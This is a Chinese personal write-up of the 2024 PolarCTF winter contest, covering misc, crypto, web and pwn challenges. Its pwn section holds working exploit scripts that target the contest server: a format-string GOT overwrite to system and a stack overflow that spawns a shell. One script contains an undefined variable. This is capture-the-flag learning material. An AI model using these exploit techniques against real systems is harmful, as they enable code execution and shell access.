首页 > 其他分享 >2024PolarCTF冬季赛个人WP

2024PolarCTF冬季赛个人WP

时间:2024-12-08 18:21:48浏览次数:4  
标签:冬季 temp system payload sendline WP 如下 2024PolarCTF 本题

1.Misc

1-1 Sign-in questions

本题思路如下:
对mp3文件进行binwalk提取获得一个rar文件
里面有key.txt和公众号二维码
获得flag
image

1-6 妖精纪元

本题思路如下:
解压发现一个加密的压缩包和一个docx文件
尝试对文档进行binwalk提取,获得2BF5.rar
之后出现一个“凝固的岁月.exe”,打开,发现图标是很明显的Tkinter默认图标,可以判断这是Python程序编译成exe后的结果
image

随后使用pyinstxtractor-ng.py和pycdc.exe对程序进行逆向
image

成功后打开x.py,发现有一长串base64编码,分析代码可以得知这是图片的base64编码。
使用在线工具base64转图片,得到图片后用binwalk提取出“走入深渊的辞行.mp3”文件。
使用audacity查看音频文件,可以看出来这是摩尔斯密码,肉眼转成摩尔斯密码
image
得出压缩包密码:YOU'VEH@D@1ONGD@Y

image

2 Crypto

2-3 幂数加密了解一下

本题思路如下:

ciphertext = "44420122088421088810140108442"
ciphertext = ciphertext.split('0') 
result = ""
for block in ciphertext:    
    sum = 0
    for i in   range(len(block)):  
        sum +=   int(block[i])
    result += chr(65 +   sum - 1)  
print(result)

image

3.Web

3-2 井字棋

本题思路如下:
审计代码后不难发现,只需要修改origboard的值强制把自己的棋子放上即可胜利,因此执行如下代码即可。

origBoard[3]='O';
document.getElementById('3').innerHTML   ='O';
origBoard[4]='O';
document.getElementById('4').innerHTML   ='O';
origBoard[5]='O';
document.getElementById('5').innerHTML   ='O';

其中下面代码是显示O的,上面是修改结果
image

3-3 button

本题思路如下:
打开发现是个按不到的按钮,因此看源代码,发现这个位置很可疑,因此尝试进入
image

打开页面一片空白,发现flag在注释里

image

4.Pwn

1、bllbl_bind_calc

没有附件,直接手搓脚本
第一次成功发现打520次就能获得flag
Exp:

from pwn import *
import time
p=remote("1.95.36.136",2144)

p.sendline("haha")
p.sendline("2")
p.sendline("22")

for i in range(510):
        p.recvuntil('看看这道题怎么样:')
        temp = p.recvuntil(b'=')
        temp=temp.decode().replace("="," ")
        ans = eval(temp)
        p.sendline(str(ans))
        p.sendline(' ')
        print(temp,ans,i)
        time.sleep(1)
p.interactive()

最后几次手打答案能获得flag(不知道为什么总是卡住)
image

2、tangniu

本题思路如下:
格式化字符串漏洞,偏移为7,用fmtstrpayload,改printf的got表为system的plt表即可
image
发现打的aaaa(0x61616161)是第七位,因此可以确定偏移为7
Exp:

from pwn import *
p=remote('1.95.36.136',2123)

elf = ELF('./tangniu')
printf_got = elf.got['printf']
system_plt = elf.plt['system']

io.sendline(b’s’)

payload = fmtstr_payload(7, {printf_got: system_plt})
p.sendline(payload)
p.interactive()

image

3、stack

本题思路如下:
IDA放进去

__int64 test1()
{
  _BYTE buf[80]; //   [rsp+0h] [rbp-50h] BYREF
 
  read(0, buf,   0x58uLL);
  return 0LL;
}
int __fastcall main(int argc, const char **argv, const char   **envp)
{
  int v4; // [rsp+Ch]   [rbp-4h] BYREF
 
  init(argc, argv,   envp);
  test1();
    puts("input1:");
    __isoc99_scanf("%d", &v4);
  if ( passwd == 4660   && v4 == 4660 )
      system("/bin/sh");
  return 0;
}

如果想要执行指令,那么passwd和v4的值应该为4660,转16进制是0x1234
main函数里面的好写入,直接str(0x1234)即可,
然后看passwd,没有直接的赋值写入,但是test1存在栈溢出,因此利用栈溢出来覆盖return到passwd的地址

image

exp:

from pwn import *
p=remote('1.95.36.136',2094)
#p=process('./pwn')
payload=b'a'*0x50+p64(0x04033CC+4)
p.send(payload)
p.recvuntil(':')
p.sendline(str(0x1234))
p.interactive()

image

标签:冬季,temp,system,payload,sendline,WP,如下,2024PolarCTF,本题
From: https://www.cnblogs.com/ljnljn/p/18593635

相关文章

  • 2024国城杯部分wp
    前言:本次排名第19名,全靠pwn佬带了,呜呜呜。Re题做了2个剩下两个又坐牢了.....Re题目出的无敌XXTEA(Crush's_secret)魔方套迷宫(FunMz)驱动题(easy_key)JavaBase64+爆破(round)下面是队伍里做出来的部分wp提交的wp里的re过程很简略,这里我详细步骤补全了ReverseCrush's_secretID......
  • 【Web】2023安洵杯第六届网络安全挑战赛 WP
    目录What'smyname easy_unserializesignalSwaggerdocs赛题链接:GitHub-D0g3-Lab/i-SOON_CTF_2023:2023第六届安洵杯题目环境/源码What'smyname 第一段正则用于匹配以include结尾的字符串,并且在include之前,可以有任意多个5个字符组成的块。下面明显......
  • WPS新函数REGEXP 正则表达式
    什么是REGEXP函数?REGEXP函数是WPS表格新增的一个文本处理函数,它允许我们使用正则表达式来匹配、提取和替换文本。这个函数特别适合处理格式不统一的数据、提取特定模式的文本,以及批量处理文本内容。函数语法参数说明:文本:要处理的文本内容正则表达式:用于匹配的模式匹配模式......
  • WPF Image Image.Source DrawingImage DrawingGroup ImageDrawing
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Windows;usingSystem.Windows.Controls;usingSystem.Windows.Data;usingSystem.Windows.Documents;usingSystem.Windows.Input;......
  • WPF Image Image.Source DrawingImage DrawingImage.Drawing DrawingGroup ImageDrawi
    <Windowx:Class="WpfApp57.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.microsoft.......
  • WPF Image DrawingImage Drawing GeometryDrawing GeometryDrawing.Geometry Geometry
    <Windowx:Class="WpfApp56.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.microsoft.......
  • WPF System.Winodws.Media.Colors
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Windows;usingSystem.Windows.Controls;usingSystem.Windows.Data;usingSystem.Windows.Documents;usingSystem.Windows.Input;......
  • WPF MVVM get all elements, get element by name, get elements by type
    privatevoidFindChildrenByNameCommandExecuted(objectobj){varelement=FindVisualChildren(mainWin).Where(x=>(xasFrameworkElement)?.Name==ChildName)?.FirstOrDefault();MessageBox.Show($"Name:{ChildName}");}privatevo......
  • TesseractOCR-GUI:基于WPF/C#构建TesseractOCR简单易用的用户界面
    前言前篇文章使用Tesseract进行图片文字识别介绍了如何安装TesseractOCR与TesseractOCR的命令行使用。但在日常使用过程中,命令行使用还是不太方便的,因此今天介绍一下如何使用WPF/C#构建TesseractOCR简单易用的用户界面。普通用户使用参照上一篇教程,在本地安装好TesseractOCR之......
  • WPF Prism ViewInjection
    ViewInjection介绍ViewInjection是Prism框架提供的一种机制,用于将视图动态地注入到指定的容器(Region)中。这种注入方式允许你在运行时动态地添加、移除或替换视图,从而实现更灵活的用户界面设计。ViewInjection示例GitHub地址:https://github.com/PrismLibrary/Prism-Samples-Wpf/......